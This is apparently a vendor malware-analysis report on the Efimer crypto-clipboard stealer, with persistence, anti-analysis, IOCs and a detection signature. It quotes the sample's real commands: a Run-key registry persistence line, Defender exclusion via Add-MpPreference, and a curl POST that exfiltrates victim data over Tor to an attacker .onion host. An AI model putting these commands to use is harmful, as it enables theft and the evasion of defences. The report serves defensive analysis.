Efimer Brings Its Own Tools to the Job

This week, the SonicWall Capture Labs Threat Research Team reviewed a sample of Efimer malware. This is a Python-based executable compiled with PyInstaller and protected with PyArmor to obfuscate the many libraries and payloads that are packed within. Efimer has extensive anti-analysis capabilities and, when executed, uses geo-IP information to identify Tor network connections for data exfiltration. It will monitor the clipboard for any cryptocoin wallet addresses and substitute its own to steal from the victims.

Technical Overview

Using extraction tools, the executable was found to have multiple scripts in Python and JavaScript, with libraries, secondary executables, and XML files, as well. The executable ‘uusd.exe’ is a Tor connection program, while the VCRUNTIME DLL files are modified versions of legitimate system libraries. The Python libraries are legitimate and part of the self-contained runtime.

All compiled scripts, including the entrypoint  ‘installer.pyc’, are encrypted using PyArmor. The secondary scripts are obfuscated with multiple iterations of base64 encoding and/or encryption done during runtime. The only straightforward item of note is ‘campus.py’, which only contains a base64-encoded item with no other code.

On runtime, folders are created in the ~\Public\Videos directory and in ~\AppData\Local\Temp with the name ‘/manejufe’. Efimer will then check for a generated GUID file in the Temp directory to verify if the system is already infected. If the file doesn’t exist, the script will generate one. Two registry entries are created using the commands for run time and autorun persistence:

• C:\Windows\System32\reg.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v madipaku /t REG_SZ /d "wscript.exe \"C:\Users\Public\Videos\manejufe\madipaku.js\"" /f
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run madipaku

Aside from the encoding and encryption, there are also a number of anti-analysis functions:

• Checks for Windows install date via HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
• Queries CPUID
• Queries SystemTimeAsFileTime
• Sets mode to ‘debug’ and checks for any debugging tool in active processes
• Adds exclusion folders to Windows Defender using PowerShell ‘Add-MpPreference -ExclusionPath’ commands for the following locations:
  • C:\Users\%\Desktop
  • C:\Users\Public\Videos\manejufe
  • C:\Users\user\AppData\Local\Temp
  • Drives D:\, E:\, F:\, X:\, Y:\, Z:\

At the time of testing, Efimer searches for Atomic, Electrum, Exodus, Ledger Live, and Armory cryptowallets. Following this, the clipboard is hooked and system processes are monitored for any activity related to the wallets. If a wallet address is copied, a similar attacker address is selected and replaces the original in the clipboard. This means that unless the victim double checks the entire address after pasting, all crypto in the transaction will be stolen.

Tor Connection address:

• C:\Windows\System32\curl.exe "c:\windows\system32\curl.exe" -x post -d "version=2.1&guid=vt1a-2fdce82a&flag=0&geip=us&name=m0zvhx1jpr.exe&action=guid" --socks5-hostname localhost:9050 http://hek5ensy7wqqls2cafflihs7sdqr4dwxux47vp3k7pgffeasxsfeeyid.onion/route.php --max-time 30 -o c:\users\user\appdata\local\temp\cfile

Information is sent to the attacker via Tor using the following structure:

version=2
GUID=<victim GUID>
FLAG=<0|1>
GEIP=<geo/IP information>
NAME=<victim/system name>
action=<action>
data=<exfiltrated data>

Sonicwall Protection

SonicWall Capture Labs protects against this threat via the following signature:

• GAV: Efimer.PyBundle (Trojan)

This threat is also detected by SonicWall Capture ATP with RTDMI™, SonicWall Endpoint Security, and the Capture Client endpoint solution.

IOCs

b8c06437d73a92c739b949a576fdceaf42af55b356feb2f082fd6154e5b338f2

6b866c187a0dee2fb751a8990d50dc1ed83f68e025720081e4d8e27097067dc8